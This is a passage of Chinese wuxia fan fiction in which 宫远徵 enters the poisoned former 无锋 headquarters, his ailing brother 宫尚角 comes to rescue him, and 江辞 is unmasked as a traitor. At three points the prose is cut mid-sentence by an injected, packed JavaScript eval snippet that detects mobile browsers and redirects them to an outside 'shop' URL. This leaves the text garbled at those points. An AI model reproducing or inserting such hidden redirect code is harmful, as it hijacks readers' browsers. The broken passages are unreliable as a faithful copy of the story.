宫尚角终于忍无可忍,探身过去,按住对面那道自进门起便始终坐立不安的影子:“你既然因此畏首畏尾,不如今日就拟一封文书,把你自己的执刃之位收回去——反正印信已在你手里了,不是么?” 他的语气和力气都并不算重,往日鸮鹰般锐利的眸子似雾缕朦胧,只是仍有一种压迫感,是宫子羽明知他看不清自己,明知他禁不住自己最轻微的挣脱,却依然感到语竭词穷:“我……我不是这个意思……” “可我是这个意思。”宫尚角撑着茶案缓缓起身,苍白的脸上带着平静的决然,“你想擒雷陨,我可以找个熟悉后山禁地的人帮你,角宫的所有侍卫也都归你调遣。至于我,你用不着担心,因为届时我不会留在宫门里……” 宫子羽打了个激灵,“噌”得站起来:“你要去哪?” 宫尚角不理他,转向风炉边:“金繁,你知道我说的是谁。你现在去找他,顺便将月长老也请来。” “怎么了?你哪里不舒服?!”宫子羽心中警铃大作,赶紧伸手过去扶人。 “——这就要问你了。”宫尚角推开他的手,面色冷峻地点了点已被宫岸角收在茶案边的密报,“岚角信中还说了什么,教你这般吞吞吐吐、患得患失?从雷陨受伤逃遁起,你就没再提过远徵半个字,可远徵向来不达目的誓不罢休,我不在更没人能劝得动他……” 他随即伸手,打断宫子羽话到嘴边的敷衍:“你既然这么怕我听了这消息会被气死,那便等月长老来了再说罢!” 23. 三十五·三十六 (三十五) 十二月的巫峡雾锁云蒸,峡中湍流冰寒澈骨。世人只道巫山十二峰险峻突兀,多半不知长峡之后还有深谷,匿于崇山峻岭,杳无人迹。 而那,便是曾经的无锋总部。 “那里到底是个什么样的地方?” 若在几年前,上官浅会说那是一个极度危险、极度恐怖的地方,但现在,她只答:“不过是座野坟荒冢罢了。” 自从宫门揭露半月之蝇真相,无锋彻底转入地下,及至点竹身亡,这片遮天蔽日的黑瓦青砖便成了无数魑魅的葬身之所——她们大多并非自愿而归,但无锋的手段远不止半月之蝇这一种。 “无锋用了好几种毒,让这方圆几十里寸草不生。一般的人若是闯进去,就算华佗再世也救不回来。”上官浅如是道。 月长老正对着深峡间黑压压的建筑群犯愣:昔日那只小小云雀曾短暂地挣出这座牢笼,不惜自铩羽翼,只为在月宫幽谷与他织就一段双宿双栖的梦。如今镜花宛然,水月依旧,而她……埋骨何处呢? 他心陷缱绻旧梦,不觉失神少顷,再回魂时,方注意到原先在身边的人即将越过那道被毒雾笼罩的界限。 “——角公子,不能再往前走了!” 病骨伶仃的人熬不住这高山间的雪窖冰天,金复不过返回马车取一件披风的功夫,骤然听见月长老的警告,赶忙慌慌张张地跑回来。 所幸,宫尚角已依言顿住脚步。 强行解蛊已经触及月长老的底线,临行前他在众人面前立下重誓:此行他说一不二,若是宫尚角不听他的,他会死在角公子前头。 天才多半执拗,宫尚角对此誓言不疑有他,自然不敢再拿自己的性命做赌。 “又发了三四拨响箭,该留的记号也都留了,徵公子只要从里面出来便能看见。公子,我们还是下山去等吧。” 发言者是宫岸角,只是相隔有些距离,宫尚角仍旧看不大清他的手语,于是金复迅速转述了他的意思。 “远徵进去多久了?”宫尚角仍站在道口边未动,面色平静,话音中也听不出什么情绪。 宫岚角以指腹捻着刀颚纹路,斟酌着答他:“徵公子于腊月初六只身离开白帝城,自峡口夔门乘船下行。初八,我收到消息,知道徵公子已探得无锋总部位置,于是了结诸事赶来策应。初九,徵公子在镇上做了些准备,并于十日一早独自入谷,到今时,已是第三日了。” 这并非是什么新消息,只是云为衫仍觉得十分荒谬: 宫子羽于初八同日得知宫远徵失踪,次日便要求她随宫尚角一行离开宫门。舸舰自青衣江转入川江,顺流疾行,昼夜不歇,两千里航程也只用了三日余。 其间众人对她多有戒备,云为衫全程未见宫尚角露面,只知平生从未离开旧尘山谷的宫门医术天才不眠不休地守了主舱三日,直至船过瞿塘,方才有心扫一眼舱外风景。 任谁都能看出宫尚角这是真的急了,急得不惜撑着这副奄奄一息之躯跋涉千里。但云为衫相信,他绝不是病得头脑发昏才做此决定,否则何必带了对无锋同样熟悉的上官浅,还要再带上自己? 她走时宫子羽正忙着布置人手对付雷陨,也不知现在进展如何了?算算时间,雷陨至多还有两日便能到达旧尘山谷左近…… “云夫人,在想什么呢?” 说话之人白面青须,锦裘玉带,手持一柄金丝骨扇,在无锋总部的残垣断壁之间显得格外扎眼。 云为衫目不斜视,一面小心避让四处开花的毒圈,一面朝迷宫一般的廊道深处疾速掠去。 说来也奇怪,她身边这人仪态散漫,脚步松弛,躲毒时却十分轻盈,竟似比她还要游刃有余——这人的身法到底是高到什么地步? “……我是在回想,这里到底还有什么好东西,值得白帝城城主亲自跑一趟?”云为衫得了空隙,才终于问出这句闷在心里许久的问题。 白帝城位置微妙,江湖向来将他们视作无锋一派。不过四年前,白帝城老城主病退,这位年轻的继任者在关键时刻力排众议,从此与无锋彻底划清界限。传闻中,这背后的幕后推手少不得宫门,但云为衫观察过他与宫尚角对话,判断两人并非是单纯的盟友。 “哎呀呀,这可冤枉。还不是那宫二说也不说一声便来了夔州,还病成这样!我是怕他太担心他那宝贝弟弟,硬要闯进来送死……他这代理执刃若是死在我的地界,我可如何向宫门交代?” “……但我怎么听闻,是江城主骗徵公子说,无锋总部中藏有稀世药材?江城主自告奋勇入谷寻人,难道不是因为做贼心虚?” “这怎么能说是骗?无锋在江湖中横行多年,自然搜刮了不少珍宝。那小子一心只想救他哥哥,我与他哥哥又相交多年,若不让他冒险一试,我于心何忍?” 两人说话间顿住步子,云为衫是因知道前路不通,但江辞却在转头看向另一个方向。 “云夫人,你们无锋总部,原来就养这种东西么?……”江辞的声音忽然变得十分艰涩,仿佛有什么东西紧紧扣住了他的喉咙。 云为衫顺着他手指的方向望过去,神色忽然间大变:“糟了,徵公子有危险!” 一箭穿云,寒鸟惊飞。 金复仓皇失措的声音脱口而出:“公子,是红色信号弹!” 宫尚角再不犹豫,自金复手中夺过披风和刀,掉头没入乌云蔽日般的毒雾。 · · · (三十六) 无锋总部建在一道峡谷裂隙深处,沿着曲折幽暗的廊道向内,越往里走越是促狭闭塞,到了最后一段路程,便窄得只剩下布满青苔、滑不溜手的峭壁,必须借助楔石铁链才能攀上那危立于竦峙巉岩之上的高台。 好在这对于白帝城城主江辞而言并非难事:白帝城世代传承一门名为“猿藏七式”的绝学,如今江辞若在身法上自称第二,放眼整个江湖无人敢称第一。 只是,他打死也想不通,此时此刻病得连多走两步都费劲的宫尚角,到底是怎么把自己弄上来的? ——难道是凭毅力吗? 不过答案很快揭晓,另有一道月白色人影自下方岩壁姗姗跃上。江辞面上刚将诧色换作喜色,随之又是一凉。 这位号称医术天才的宫门小长老衣衫凌乱,脸色并不比宫尚角好看多少。两人应是在来的路上经历了一番苦战,就连宫尚角的刀也已出鞘,可任谁都能看出他握刀的手抖得有多厉害。 “乖乖!我叫的是救援,你们这是什么情况?” 宫尚角话未出口便支持不住呕出血来,月长老堪堪护住那具濒临失重的躯体,就地撒上些驱毒的药粉,娴熟又吃力地输送起内力。 江辞只得眼睁睁看着,束手无策地原地打转:“你们角宫的人呢?这种关头怎么一个也不进来?” 岩壁下又传来一阵骚乱,三人皆被惊动。宫尚角也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240040|197686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知哪来的力气,强行迫月长老收了内劲:“别再浪费内力了!这里的毒,即便有百草萃护体也不是万无一失,你得留着体力出去!” 月长老一僵,抬眼神情复杂地看向他:“你是要我一个人出去?” 宫尚角话音虽轻,却并不迟疑:“岚角知道该怎么做,告诉她不必顾虑。别让宫岸角进来,这里视野太差,对他来说太危险……” “对他危险,对你不危险?” “那些东西上不来。等上官浅寻到远徵我们便离开。” “你以为你的身体还能撑几时?” “我没那么容易死。你就算真想兑现你那诺言,也先把消息送出去!” “……你不让我留下,是因为……云雀?” “你心里清楚,那已经不是云雀了!” “……” 江辞并不掺和两人的争执,却在他们身侧喃喃念出那个名字:“云雀?……” 宫尚角闻之强撑起身,纵使月长老已被那两字瞬间勾住心魂,也不得不回神将人扶稳。 “还不走?别让我用执刃的身份来压你!”宫尚角毫不犹豫地推开他,话语带着不容置辩的严峻。 月长老面色煞白地望了望他,又望了望百尺之下那群黑压压的影子,最终只得留了保命的丹药,又向江辞嘱托几句,纵身跃下岩壁。 宫尚角回身,鸦青色披风若残烛摇曳,人却立得笔挺巍然:“现在说罢,你怎么知道云雀?云为衫去了哪里?” * 这已是第几波了? 宫远徵精疲力尽,反应开始迟钝,思维也变得不甚清晰。 褐色的污血早已染透了他的前襟。好消息是,这些都不是他的血。坏消息是,那些人即便流再多的血,还是会照样朝他扑过来。 ——但那些面目狰狞、毫无痛觉、凶残可怖的怪物,真的还是“人”么? 自从他在几位长老那里得知无量流火真相,他一直以为他们口中的“异化之人”不过是个幌子。就在不久前,他还认为宫唤羽、雷陨之流实属无聊,甚至私下里觉得哥哥也有些小题大做。他认为那无量流火造与不造都不甚重要,因为他的毒一样有毁天灭地之能…… 直到他发现,即便是见血封喉的毒药,那些异化之人也丝毫不受影响。 而现在,他的刀在无休无止的追击中不慎掉落,暗器囊袋也差不多空了,他被困在无锋首领于山体之内凿出的暗室,一波又一波地抵挡着蜂拥而来的攻击。时间过去多久了?是一天?三天?还是一年?哥哥知道他失踪了么?知道了会生气么?……哥哥会千里迢迢地来寻他么? 不!这里太危险了!且不提这些极难对付的异化人,这里的毒成分之杂,根本不是哥哥那碗减了剂量的百草萃能够护住的!哥就留在角宫里好好修养身体,待他回去,无论要受怎样的责罚,他都认了!…… 宫远徵确实后悔了,也后知后觉地明白,哥哥与他从小说到大的“江湖凶险”,临行前千叮咛万嘱咐的“不要单独行动”,没有半点是在唬他。 这几年哥哥总嫌他行事幼稚,办事经验太浅。待哥哥身体好了,定要让他陪自己在江湖好好历练一番。 ——待哥哥的身体好了。 思及此处,宫远徵再次打起精神。身后的山门咚咚作响,他正要去摸囊袋里仅剩的几枚暗器,却忽然听到岩体缝隙之外传来一女子轻柔的声音: “徵公子,快出来吧!” 24. 三十七·三十八 (三十七) 巫峡口在巫山县城以东,川江与大宁河古盐道交汇之处,旧时盐贩聚集,弥久为镇。而今盐铁官营,唯纤夫、商客在此栖居,常年户不足百。 然这几日来,小小一镇之内莫名多出许多陌生面孔。镇上百姓多半只识得白帝城的旗号,稍有见识者知道身携火器之人出自雷家堡,而只有船帮中见多识广的老艄公才清楚那些玄衣刀客的来历。 “宫门的人已到了四五日,把几条进山的路围了个水泄不通;雷家堡来的人虽然不多,但全是高手;就连白帝城的城主也亲自到了。能让这三家齐聚,想来只有一种可能——” “您说无锋?可无锋的人早就销声匿迹了,他们即便寻到那处,只怕也要扑空。” “宫门执刃历来从不外出,单冲这一条,这事就没那么简单。” “宫尚角么……大舸靠岸之时我瞧见他了,看样子确实病得厉害。他这是嫌自己死得不够快,赶着来送命的?” “送命倒未必,说不定来救命的!” “救命?救谁的命?……” 总算有命逃离密室的人心有余悸地吐出口气,又略带诧异地瞥了眼救他性命之人。 方才隔着石门,女子的声线他辨不真切,只知道来的断然不会是宫岚角——入谷之前他们商议过此事,角宫的继承人不该在这个节骨眼上涉险。他痛恨自己那一刻的清醒和理智,可有些话他们彼此心照不宣。 而于情于理,此际他最不想见到的人是上官浅,偏偏最有可能来寻他的就是上官浅,他甚至已然做好了被那女人挖苦、事后再被哥哥训斥的准备。 令宫远徵未曾料想的是,出现在石门外的竟是云为衫。 “你怎么会在这里?是宫子羽让你来的?他告诉我哥了么?我哥他……”他旋即缄口,意识到对方是敌是友尚不明确,他好像实在不该三句话不离哥哥地与她说这些。 云为衫干净利落地砍斩断最后一截绳索,将那些异化人彻底阻隔在栈道的另一端,这才好整以暇地回过身:“既知角公子会担心,远徵弟弟孤身犯险之前本该三思而后行。” “要你来教训我!”宫远徵无甚底气地攥紧了腰间空空如也的暗器囊袋。 云为衫不似上官浅,并不在口舌之争上浪费时间,而是略带担忧地望向岩壁上方。她来时听到了些动静,想来是守在外面的人看到信号弹后赶来救援。不难盘算来的是谁,但终究只是猜测,云为衫选择暂时按下不谈。 “徵公子找到想要的东西了么?” 宫远徵目光游移,迟疑着是否要交底,又该透露多少。云为衫对这反应早有预料,不待答复便又道:“你要的东西不在这里。我可以带你去找,但也需要徵公子帮我一个忙。” 宫远徵显然并未放下警惕,抹额之下的一对修眸虽充满疲惫,却仍旧锐利:“你先告诉我到底发生了什么,你来这里有何目的——要不要帮你,我自有判断。” 云为衫一面暗叹这小子好像确实比从前成熟不少,一面避重就轻讲了这几日来发生的事,不出意外地收获了对面劈头盖脸一通质问。她只好补上一句:“角公子有月长老陪着,你也无需太过忧心……” “不,你没理解我的意思!”宫远徵心急如焚打断她的安抚,“你刚刚是说,那个江辞也进来了,我哥很有可能和他在一起?” 云为衫点点头:“江城主在高处,角公子他们找到他不难。” “我们中计了!”宫远徵懊恼不已地吼出了声,“我在密室里发现了他和无锋首领的书信——他想把我们全都留在这里!” * 阴风刺骨,裹挟着冰冷的潮气,恨不得往人心缝里钻。峡谷深处犹如被刀锋般的寒气劈开一道口子,不见天日,唯有幽暗的光蜿蜿蜒蜒投射进来,伴着崖底异化之人的咆哮,瘆得人透不过气来。 精明强干又心思缜密的宫二先生很少会将自己陷入这般孤立无援的境地,虽说而今已是盛名之下、其实难副,江辞还是很好奇,他到底在想什么呢? “是不是所有英雄终途,最先丧失的都是判断力?我家老爷子这样,你也这样?”白帝城城主的笑容中透出邪气。 宫尚角面色坦然,坦然接受一个并不算过誉的评价,也坦然面对对方自作聪明的嘲讽:“老城主与毒蜂周旋一世,却没想到最危险的毒蛇就在身边。” “那你呢,明知会有危险,却失了防备之心?” 宫尚角一声冷笑:“我若不顺你心意,你这只毒蛇又怎会掉以轻心?雷大当家那边的人手不多,不诱你将精锐调走,要拿下白帝城谈何容易?” 他慢条斯理地拢了拢被寒风撩动的衣摆,以稳操胜券的沉静反衬对面骤然浮现的惊疑:“况且,我若不进来看看,还不知道整个无锋总部都成了你的蛇巢——那些异化之人,应该都是你的手笔吧?” “难道,难道你们一直都在做局?!”江辞像是被人重击一拳,整个脸都有些扭曲。 宫尚角轻轻叹了口气:“远徵确实是被你骗进来的。但你太急于求成,被岚角察觉,早两日便与我报了信。” 眼见阴谋已被拆穿,江辞反而冷静。他看向宫尚角,见他面色惨白,用刀鞘强撑着身体,说话间掩饰不住地喘息,便又安下心:“那又怎样?现下你已经走投无路!——你的身体,应该已经到极限了吧?恐怕用不着我来杀你,这里的毒就能要了你的命……或者,干脆我把你踢下这山崖,想来那群‘无锋’一定会好好地招待你!” 他说着便笑起来,越笑越是大声,面上渐渐现出癫狂的神情。 宫尚角全然不为所动:“是么?可你不想想,我既然敢进来,既然敢让月长老离开,又怎么可能没留后招?” 他口中吐出白烟,将话道得冷若寒冰:“人心不足蛇吞象,你错就错在,实在不该动我弟弟!” · · · (三十八) 凛冬的风沾染着一丝腥咸,划过他皲裂的唇梢——是血吗? 他被一双炽热的手牢牢箍住。那本该是一双秀气修长的手,此刻力道却大得像要捏碎他的肩胛骨。 他感觉很吵,但那不是人声喧阗的吵闹,也并非风在耳畔呼号,而是他身体里的筋脉百骸在向他叫嚣——是痛吗? 他不知那痛意究竟源自何处,是肩头、脏腑、骨髓?还是阴魂不散的半月之蝇,近来频频发作的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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——那个十七岁的偏执少年,固执地用一颗本不属于他的种子,添满他家破人亡后千疮百孔的心。此后那念想就像青石板缝隙间的草种,一日不除便肆意播撒,直到有一日野草没过少年的脚踝,陷住少年前进的步伐,勾住少年那双昭然的、热烈的、闪耀着的眼睛。 妄念啊! 后来,他始终留着朗弟弟的东西。 他从不让他碰朗弟弟的东西,甚至在他喜滋滋举起焕然一新的龙灯邀功时大发雷霆。金复那句词不达意的“衣不如新,人不如旧”非他本意,可又确然是他授意。他拒绝承认随着少年年龄增长,抓心挠肺的野草他胸中恣睢横行,拒绝让他知道,如果没有那颗种子,他心下该有多么贫瘠…… 原来,失智之人本就该是他吗?不是因为他病得理不清头绪、辨不清伦常;不是因为少年的炽热令他神昏谵妄,壅滞窒息。 ——十四年前他亲手给那少年掘开的坟墓,而今在墨池干涸的池底冰冷洞开,射出贪婪残忍的凶光。 妄念啊…… “四肢厥冷、脉微欲绝,已经是阴竭阳脱的症状了!……徵公子,别再犹豫了!”少年耳畔传来上官浅冷静的声音。 25. 三十九 (三十九) 宫尚角决计不是一个好打发的对手,上官浅四年前便深知这一点,所以她略去所谓的“情谊”,直接用最一针见血的方式脱身——她告诉他,她会有一个孩子。 但很显然,像江辞这样的大男人,用不了这么朴素简约的法子。他只能和宫尚角谈些无中生有的“情谊”。 “那年你被岭南宋三更和天极四煞联手围困,是谁助你脱险,收留你养伤?宫门的商船在川江畅行无阻,是谁在背后替你打点,为你保驾护航?宫门最孤立无援的时候,是谁做了你的盟友,助你对付无锋?这些你都忘了么,宫尚角?!”江辞双目赤红,语速快得像要窒息,他把慌乱刻在脸上,仿佛在害怕下一瞬便要暴毙而亡。 与之相对应,宫尚角的声音又轻又缓,整个人透着过分的冷静:“我被宋三更和天极四煞联手围困,是因为你把我的行踪卖给了他们,那一仗角宫死了一个统领、四个侍卫。 “放宫门商船自由通行是因为我们所有的生意你都要分一杯羹,你不善经营却挥霍无度,没有宫门的支持,你白帝城的府库还能剩下多少银两? “你发现老城主无意传位于你,便强行上位,借对抗无锋之名把宫门强拉进来蹚这浑水。我不理你,是因为近几年无暇他顾,而且这消息的确对宫门有利……” “若我不领情,你现在已经是个死人了。”若非他的脸色在峡谷深处的幽暗光晕之下苍白得吓人,这句话或许会更有说服力。 于是毒蛇面露凶光,吐出危险的红信:“你到底给我用了什么毒!把解药给我!马上!不然我拉你一起陪葬!” 他说着便要冲上来,但上官浅立即出手警告:“强行运功只会加剧毒性发作,江城主,你最好别再动了!” 交锋只在一刹那,宫尚角的身体随之剧烈地晃了晃。她知道他快要站不住了,他硬撑,只因担心她对付不了一个狗急跳墙的狂徒。 上官浅几不可闻地哼了一声:如果她都对付不了江辞,如果方才她真的乖乖听话去寻宫远徵,以他这衰败的身体,又能抗多久呢?宫二先生那一向缜密的思维,怎么到了他自己身上就忽然变得漏洞百出?…… 她可没打算让他死在这里,无论出于何种原因。 “你到底是怎么下毒的?我明明也服了百草萃……而且,而且你们不是都没事么……”豆大的汗珠从江辞额上汩汩滚落,他的嗓音从灼热尖锐转为撕裂沙哑,上官浅不得不说,这两种声线与他这一身华贵没有半分相衬,都是一样难听。 “毒不是我下的,从始至终,我碰都没碰过你。”宫尚角终究还是重重靠上岩壁,所幸隔着披风,湿滑阴冷的潮气尚不至于马上顺着脊背渗透进身体,“——你太大意了,甚至没有注意过月长老交给你的东西!” 江辞终于回忆起那位小长老临走前一脸焦急的嘱托,以及那包所谓的“保命丹药”。他立即从胸前掏出那东西,却发现原本包裹“丹药”的红布浸透了黑色污渍,而里面的东西怕是早已在呼吸之间侵入他的口鼻。 “月长老本不会轻易用这种东西,若不是他在来的路上看到了‘云雀’,若不是……” 若不是明知你一人撑不住,怕你真把自己玩死在这里……上官浅在心中默默补叙。以她浅薄的医术,她知道这毒下得刚猛,带着股复仇般的狠戾,若是不说,她会以为下毒的人该是宫远徵。 不过宫远徵本人此刻根本顾不上这些,他满脑子只剩下救哥哥这一个念头。但在此之前,他必须去找一样东西—— “是我在上官家的医典中发现的。医典中说,竭灵芝生长于荆湘幽谷,而这里恰恰就是最适合它生长的环境。”宫远徵跟着云为衫在近乎垂直的峭壁间飞速移动,他语声急迫,带着一丝不易察觉的颤抖,但脚下丝毫没有因此落后。 云为衫依旧身法轻盈地在前带路,宫远徵的急切并未给她带来太大波澜:“我不懂医术,但我知道,这世间若真有什么灵丹妙药能让角公子痊愈,你和月长老早就挖地三尺把它找出来了,又何必等到今日?” 宫远徵身形一滞,再开口时声音像是闷进一只密不透风的罐子:“我本来只是想找到它,等到万不得已时再拿出来……可月长老怎么敢让哥哥来这种地方!” 随即闷罐被刀锋劈碎,凌冽的寒风倒灌进去:“一旦百草萃失效,哥的五脏六腑就会急剧衰竭,更何况现在还有只毒蛇在他身边……他,他真的等不了了!” 云为衫终于回望一眼,少年看上去精疲力尽,正极力控制着自己波动的声线,几乎是有些刻板地跟紧在她身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240042|197686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,但泛红的眼角、抖动的唇峰和空茫的眼神彻底暴露了他的情绪——那是一种巨大的悲戚和深陷的绝望。 无锋养大的孩子一向寡情,那样强烈的悲恸和绝望云为衫只体会过一次,就在她看到云雀尸首的那日。 “是有代价的,对么?”云为衫神情松动几分,不再是全然的冷淡。 少年嗫嚅了一下,低低答话:“什么都是有代价的……” 女子肃然停下脚步:“告诉我代价是什么,否则我会阻止你。” “什么?没有时间了!你改变不了我的决心!”少年再次像只刺猬一样竖起全身刚刺。 云为衫敛眸,将片刻温柔埋藏在鸦睫之下:“子羽不希望你们出事,无论是角公子还是你。” 于是云为衫又加快脚步,可待他们寻到宫尚角和上官浅,仍只是堪堪赶上蛇口蜂针之下的最后一击。上官浅本已力竭的招式在那一刻忽然变得凶悍果决,若非如此云为衫也无法将那跳梁小丑手到擒来。 可到底是晚了一步,宫远徵疯了似得扑上去,接住的是一具近乎冰冷的躯体。老天仿佛与他开了个天大的玩笑,漫长的四年如同漫长诀别,似沙戏影灯,在他眼前翻转回溯。热泪炽烈如蜡,滴落瞬间,将绵延四年的病痛与心殇无尽拉扯,在无所依凭的空腔中结成一道道干涸扭曲的疤——同他左手心里一样丑陋可怖的伤疤。 “四肢厥冷、脉微欲绝,已经是阴竭阳脱的症状了!……徵公子,别再犹豫了!”少年耳畔传来上官浅冷静的声音,她显然在看握在他左手心里的东西,不是那道疤。 “值么?为了一个莫须有的希望?……”云为衫拦着他。 “如果是宫子羽,你怎么做?”少年袒露着一双悲恸欲绝的眼睛,四年前便是这样看着她,而今依然这般看她。 ——四年前他便是这样,用染血的手捧着纤尘不染的出云重莲,藏着滴血的心将他哥哥的命拱手让给了她。 云为衫不说话了。 峡谷里的哀声停得悄无声息,挽歌仿佛还在风里唱着,但忽然静得只剩回音。就在那一瞬,“出云重莲”被冷不丁夺走,少年猛地攥紧手心,却只攥紧了手中伤疤。 “我来。”月白广袖牵起仆仆风尘,月长老托稳那具瘦骨羸骸,如是说道。 26. 四十·四十一 (四十) 这已是宫尚角清醒的第三日,屋外喧嚣几乎没有一刻停歇——一个毗邻川江且户不足百的小镇忽然挤进上百号不速之客,那么无论如何也不可能安静得下来。 起先闹起来的是那些受白帝城庇护的津人艄工,投机寻衅的江湖客随之闻风而动。待到各大门派势力领袖终于接到宫尚角本人提早发出的手书,江辞夺权弑父恶迹公之于众,白帝城内部的团结自然也土崩瓦解。 饶是如此,门外仍有一双双眼睛虎视眈眈。不用些激进的法子,根本赶不走那些特意来看热闹的人。宫远徵拉着宫岸角“惩戒”了几个简直要欺负到门上来的无赖,不出意外连累后者被他姐姐训了一顿。他只好退而求其次,考虑先离开这座小镇: 由雷家堡暂时接管的白帝城或许是更合适的修养场所,但那两个需要修养的人一个不肯离开,另一个则脆弱得仿佛一碰就碎。 宫尚角刚刚就着弟弟的手喝了半碗热粥,看上去依旧跟纸糊的没两样,但他身上流淌着些许暖意,不再让宫远徵觉得他的生命随时要从他指缝间溜走。 “月长老呢?”宫尚角轻声问,他的嗓子仍然喑哑,但总算不至要人费力去听。 宫远徵搅着白粥的手顿了顿,垂目答他:“不太好……” 这算不得什么好消息,不过宫尚角还是略松了口气:倘若月长老真因一句诺言便搭上性命,那他恐怕要为自己的刚愎自用在长老院里一头撞死。 ——倒不是他贪生怕死或想推卸责任,只是浪费了月长老以命替他搏来的一线生机。 “月长老不让我把脉,坚持说他若医不好自己,便枉称‘医术天才’。可我看了他开给自己的药方,全是些吊命的药!”宫远徵有些痛苦地按上抹额,无意识地摩挲着那枚精致的额心小饰。 医典记载,竭灵芝药性极烈,需得有人先服下此物,运功炼化,再将药力渡给病患。代价是,服药者自身必遭反噬,九死一生,即便一时生还,也注定命不长久。而反观竭灵芝药效,则只是能延缓濒死衰亡之症,因而几乎未见任何医案实例。 “早知竭灵芝的反噬效果与毒相近,这事就该由我来!”少年说得一脸认真,眉宇间锁着挥之不去的忧虑。 记忆中的少年秀骨清像,眉目如画,琥珀色的瞳子亮若星芒。不知什么时候,那双会说话的眼睛却变得悲伤空洞,泛着血丝,眼窝凹陷下去,染上连日来衣不解带所致的乌青。 宫尚角神色一黯,长长叹了口气:“对不起,远徵……” 宫远徵指尖一抖,差点将那枚青金石宝珠从抹额上撅下来。 从无锋总部出来那日,哥哥在昏迷中一直紧攥着他的手,口中念念有词。起初他以为哥哥是在唤着朗弟弟,直到他凑近去听,听清宫尚角在意识边缘一遍遍呢喃的话语。 ——他说,“远徵,对不起……” 宫远徵又悄悄攥了攥自己的左手心。不知道为什么,他觉得哥哥有哪里不一样了。 “服竭灵芝的人又不是我……”他满脸通红地站起身,忽然不再敢直视哥哥的眼睛,“我出去看看,让他们煎的药怎么还没煎好?” 而金复此时刚好端着热气腾腾的药进来,嘴里还在絮叨着他因没有资格服用百草萃而被全程排除在外,主人差点丧命他却无能为力。 宫尚角既觉无奈,又有些好笑。冷风混着嘈杂声一道涌进来,他突然被激得一阵咳嗽。 宫远徵警觉地用身体护住炉火,后来者自觉迅速将门和暖帘关严。直到那极度压抑克制却又令人无比忧心的咳声停下,宫远徵蹙着眉头问:“外面怎么那么热闹?” “小问题。”云为衫谨慎地站在门边,没有贸然步入内室,“上官浅用了点小手段,以后,他们怕是不敢再明目张胆地盯梢了。” 宫远徵撇了撇嘴角,那是一种兼具快意和一丝嫌恶的神态,但总算不再是愁眉苦脸。 宫尚角压下喉头腥甜静静地望了片刻,这才转目看向云为衫:“云夫人辛苦。子羽传信说雷陨已经解决,他不日便到。我本想让他坐镇宫门,但信鸽到时他已上船,看来是放心不下。” 无论称谓用词,这突如其来的态度转变都让在场几人一时错愕。 女子终于向前迈了一步:“我可不可以认为,角公子对我的试探结束了?” “可以。”宫尚角的回答毫不犹豫。 “是什么让角公子如此断定?” “这个……等宫子羽到了再说吧。” 宫尚角轻轻合眼,卖了个关子。没有敌意,没有威慑,转音中的平易令一向沉稳的云为衫透露出些许意外之色。 不久前宫子羽曾忍不住与她说,宫尚角实际上很好相与,只看他如何对待宫远徵便知。这几年他对他们的态度日益柔和,看他的眼神也不再带着挑剔和审视,终有一日,他会让角公子对他完全满意。 云为衫则冷静戳破他的幻想:一个能力、准绳、自尊心和年纪都在他之上的人,态度软化的唯一原因就是宫尚角在生病。 致命的威胁会让任何人变得脆弱,会戳破他或她赖以维生的坚硬外壳,暴露出内里最真实纯粹的人格。 “岚角姑娘刚才告诉我,江辞崩溃了,闹得很凶。但有些事他死咬着不说,他们暂时拿他没有办法。”云为衫冷静交代。 “我去吧。”宫远徵精神一振,重新覆上金丝手套,“药凉得差不多了,金复,你过来喂我哥喝药。” “不。”宫尚角直白地打断他,嗓音低沉,似已很是疲倦,“金复去守着月长老,把宫岸角换回来。” “可是公子……”金复无辜地张了张口。 “闭嘴,你太吵了!”角宫主人命令道。 可怜的金复。 · · · (四十一) “你的意思是,他们把无锋总部变成了一个试验场?”宫子羽目瞪口呆地打量着下方幽深诡异的峡谷。 被异化的无锋刺客似乎仍在崖下的陷阱中嘶吼挣扎,刀劈斧削的岩壁将那种从腐烂空腔里发出的声音塑造得过于跌宕,经过凄风冷雨荡涤,更是完全扭曲走调,传到他们耳中,就好似一头吃人不吐骨头的怪物。 “对,无量流火的试验场。”尽管已切身体验过一次,再次接近这里仍旧让宫远徵感觉胃里一阵翻腾,“四年前无锋首领要处理不听话的刺客,不过将他们变成异化之人是江辞那条毒蛇的主意。那时雷陨妄想凭上半部图纸造出无量流火,简直是痴人说梦!” 一切都串联起来,宫子羽点了点头:江辞、雷陨、无锋首领筹划四年的诡计被他与宫尚角配合无间的内外夹攻联手破除。雷陨死在他们做了万全准备的宫门后山花宫,宫子羽自觉谋略得当,餍满于胸;但当他得知宫尚角这边如何生擒江辞,其中的思虑、决断、凶险、牺牲无不令他心惊胆战、自愧弗如。 他实在很难想象,在那样的身体状况之下,宫尚角究竟是如何呕心沥血来筹谋一切。或许,若是他的能力再强一些,角公子便不至事必躬亲,月长老也不必舍身至斯…… 